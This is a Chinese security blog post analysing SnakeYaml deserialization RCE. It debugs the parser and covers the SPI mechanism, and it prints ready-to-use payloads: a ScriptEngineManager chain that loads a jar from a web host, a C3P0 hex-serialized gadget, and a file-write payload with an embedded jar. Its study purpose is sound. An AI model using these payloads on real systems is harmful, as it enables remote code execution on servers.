Java安全之SnakeYaml反序列化分析
Java安全之SnakeYaml反序列化分析
写在前面
首发在跳跳糖:https://tttang.com/archive/1591/
学习记录
SnakeYaml简介
snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
yaml语法参考:https://www.yiibai.com/yaml
Spring配置文件经常遇到,这里不多做赘述了
推荐一个yml文件转yaml字符串的地址,网上部分poc是通过yml文件进行本地测试的,实战可能用到的更多的是yaml字符串。https://www.345tool.com/zh-hans/formatter/yaml-formatter
SnakeYaml序列化与反序列化
依赖
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
常用方法
String dump(Object data)
将Java对象序列化为YAML字符串。
void dump(Object data, Writer output)
将Java对象序列化为YAML流。
String dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
- Yaml.dump():将一个对象转化为yaml文件形式;
序列化
User类
public class User {
public String name;
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
Demo
import org.yaml.snakeyaml.Yaml;
public class SankeYamlDemo {
public static void main(String[] args) {
User user = new User();
user.setName("xiaobei");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
}
输出了如下字符串
!!com.zh1z3ven.SnakeYaml.User {name: xiaobei}
这里的!!
类似于fastjson中的@type
用于指定反序列化的全类名
反序列化
再来一段User代码,主要是在各个方法中都添加了print,来看一下反序列化时会触发这个类的哪些方法
public class User2 {
String name;
int age;
public User2() {
System.out.println("User构造函数");
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public String getAge() {
System.out.println("User.getAge");
return name;
}
public void setAge(String name) {
System.out.println("User.setAge");
this.name = name;
}
}
Demo,注意通过!!
指定类名需要写全类名
import org.yaml.snakeyaml.Yaml;
public class SankeYamlDemo {
public static void main(String[] args) {
Deserialize();
}
public static void Serialize(){
User user = new User();
user.setName("xiaobei");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
public static void Deserialize(){
String s = "!!com.zh1z3ven.SnakeYaml.User2 {name: xiaobei, age: 18}";
Yaml yaml = new Yaml();
User2 user2 = yaml.load(s);
}
}
结果
User构造函数
User.setName
User.setAge
反序列化过程中会触发set方法和构造方法。
SnakeYaml反序列化漏洞
影响版本
全版本
漏洞原理
yaml反序列化时可以通过!!
+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManager
payload并利用SPI机制通过URLClassLoader
或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。
漏洞复现
网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的
比如加一段弹计算器的代码Runtime.getRuntime().exec("open -a Calculator");
当然也可以写个自定义的ClassLoader然后通过defineClass加载 bytecode的base64字符串达到打内存马的一个目的。
更改好之后通过如下命令编译打包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
之后在该目录开一个web服务
更改poc
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
]]
]
收到http log并成功弹出计算器
调试分析
下面调试分析一下整个流程,在yaml.load(s)处下断点
首先通过StringReader
处理我们传入的字符串,PoC存储在StreamReader的this.stream字段值里。
上面主要是对输入的payload进行赋值与简单处理的操作,之后进入loadFromReader(new StreamReader(yaml), Object.class)
方法中
该方法内逻辑如下
首先会对我们传入的payload进行处理,封装成Composer对象。
其中会有一步new ParserImpl
的操作
这里注意!! -> tag:yaml.org,2002:
后续也会对我们传入的 payload进行字符串替换的操作。
之后调用BaseConstructor#setComposer()
方法,对Composer
进行赋值,最终进入BaseConstructor#getSingleData(type)
方法内,跟进后会调用 this.composer.getSingleNode()
方法对我们传入的payload进行处理,会把!!
变成tagxx一类的标识
这个在浅蓝师傅的文章中也有提到过,对于一些yaml常用的set map等类型都是一个tag,属于是在过滤掉!!
的情况下可以通过这种tag
形式去进行Bypass,详细的思路可参考浅蓝师傅的文章。
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
而tag具体的替换以及整个payload重新组合的逻辑在ParserImpl#parseNode()
方法中
调用栈如下
parseNode:426, ParserImpl (org.yaml.snakeyaml.parser)
access$1300:117, ParserImpl (org.yaml.snakeyaml.parser)
produce:359, ParserImpl$ParseBlockNode (org.yaml.snakeyaml.parser)
peekEvent:158, ParserImpl (org.yaml.snakeyaml.parser)
checkEvent:148, ParserImpl (org.yaml.snakeyaml.parser)
composeNode:136, Composer (org.yaml.snakeyaml.composer)
getNode:95, Composer (org.yaml.snakeyaml.composer)
getSingleNode:119, Composer (org.yaml.snakeyaml.composer)
getSingleData:150, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
所以我们之前传入的payload
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
]]
]
会变为如下的一种形式
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9000/yaml-payload.jar)>])>])>])>])>
继续跟进,会执行 return this.constructDocument(node)
从而进入BaseConstructor#constructDocument
方法,其中调用了constructObject
方法
继续跟进后发现,在constructObjectNoCheck
方法中会去获取对应tag的value,逻辑在getConstructor
方法内(其中node是我们传入后经过处理的payload)
之后调用Constructor#construct
方法,这里就是关键的地方了
进入后首先调用getConstuctor
方法
继续跟getClassForNode
,这里this.typeTags
为null,所以进入if逻辑内
跟进getClassForName
,最终这里是通过反射获取到ScriptEngineManager
的一个Class对象
后续向typeTags
的Map里put进去了本次tag和class对象的键值对并返回ScriptEngineManager
这个class对象,后续对URLClassLoader
和URL
处理的逻辑基本差不多相同,这里就跳过了
当URL
也被反射拿到class对象后,直接跟到construct
方法内
首先通过反射获取node
字段的type
属性值所对应的构造方法
最终通过newInstance
方法实例化,这里具体的话分为3步,首先是URL
的实例化,之后是URLClassLoader
的实例化,最终实例化ScriptEngineManager
时才会真正的触发远程代码执行
小结
整个调试下来感觉有点类似于在调Fastjson,前面一小半的部分是在做一些payload的处理,涉及到一些变量,比如tag、node、type这些,以及SnakeYaml内部对于!!
去转换为tag
这类的操作,然后就是一些数据的流向,需要仔细观察;后半部分就是整个漏洞的一个触发,整体的一个思路就是先反射分别获取ScriptEngineManager
、URLClassLoader
、URL
的class对象,之后在construct
方法内最终分别实例化了URL
、URLClassLoader
、ScriptEngineManager
来造成远程代码执行。
SPI机制
严格来讲上面是ScriptEngineManager
的实例化过程分析,其实最终造成代码执行还涉及到一个概念:SPI机制。ScriptEngineManager
底层用到的也是SPI机制
SPI ,全称为 Service Provider Interface
,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件
,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。
使用 SPI 机制的话需要在Java classpath 下的 META-INF/services/
目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名
比如lombok
再比如我们的poc里也是这样的
同样JDBC也用到了这种机制
实现原理:
程序会通过java.util.ServiceLoder
动态装载实现模块,在META-INF/services
目录下的配置文件寻找实现类的类名,通过Class.forName
加载进来,newInstance()
创建对象,并存到缓存和列表里面。
ScriptEngineManager分析
那么我们来跟一下ScriptEngineManager
,把payload的jar拖到项目依赖中,在ScriptEngineManager
的构造方法下断点,从newInstance
处F7即可跟入
前面都是一些赋值操作,跟进initEngines
ServiceLoaderMETA-INF/services
目录下的javax.script.ScriptEngineFactory
然后去加载文件中指定的PoC类从而触发远程代码执行
跟进itr.next()
会进入ServiceLoader$LazyIterator#next()
方法,调用了nextService
继续跟进,先反射获取的class对象,之后newInstance实例化,这里第一次实例化的是NashornScriptEngineFactory
类,之后第二次会去实例化我们远程jar中的PoC类,从而触发静态代码块/无参构造方法的执行来达到任意代码执行的目的
其他利用姿势
主要是出网与不出网吧
可参考mi1k7ea师傅文章,在师傅文中列出了多个JNDI的利用链。下面主要看一下不出网的情况。
C3P0
思路类似于Fastjson通过C3P0二次反序列化去打
需要用到C3P0.WrapperConnectionPoolDataSource
通过Hex序列化字节加载器,给userOverridesAsString
赋值恶意序列化内容(本地Gadget)的Hex编码值达成利用。
这里以C3P0+CC2为例
生成段CC2弹计算器的PoC
➜ java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > /tmp/calc.ser
读取文件内容并Hex编码
public class HexEncode {
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("hello");
InputStream in = new FileInputStream("/tmp/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
最终SnakeYaml Payload如下:
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: 'HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006A8CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001E79736F73657269616C2F50776E65723334373231313439383436393232330100204C79736F73657269616C2F50776E65723334373231313439383436393232333B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178;'
ScriptEngineManager
参考 https://xz.aliyun.com/t/10655,下面做个复现
主要分两步,第一步把利用时所需jar包落地,第二步用ScriptEngineManager
通过file协议加载本地jar
用师傅文章中的利用代码可直接生成写文件PoC:
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/tmp/yaml-payload.txt"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]
第一次反序列化会直接落地文件
第二步加载写入的恶意文件完成不出网RCE
PoC
!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.txt"]]]]
这里的话比如ruoyi,是有一个写文件的漏洞,也可以直接利用该漏洞去写入文件,不一定是jar格式,jpg、png、txt都可以。
个人感觉如果有C3P0的时候更喜欢打C3P0一些,操作更方便也不需要落地文件,就是需要知道有哪些Gadget,但是ScriptEngineManager
写文件的思路真的很棒,膜一波师傅们。
Reference
https://xz.aliyun.com/t/10655
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%25E6%25BC%258F%25E6%25B4%259E/#0x03-%25E6%259B%25B4%25E5%25A4%259AGadgets%25E6%258E%25A2%25E7%25A9%25B6
https://github.com/artsploit/yaml-payload
https://b1ue.cn/archives/407.html
https://www.cnblogs.com/nice0e3/p/14514882.html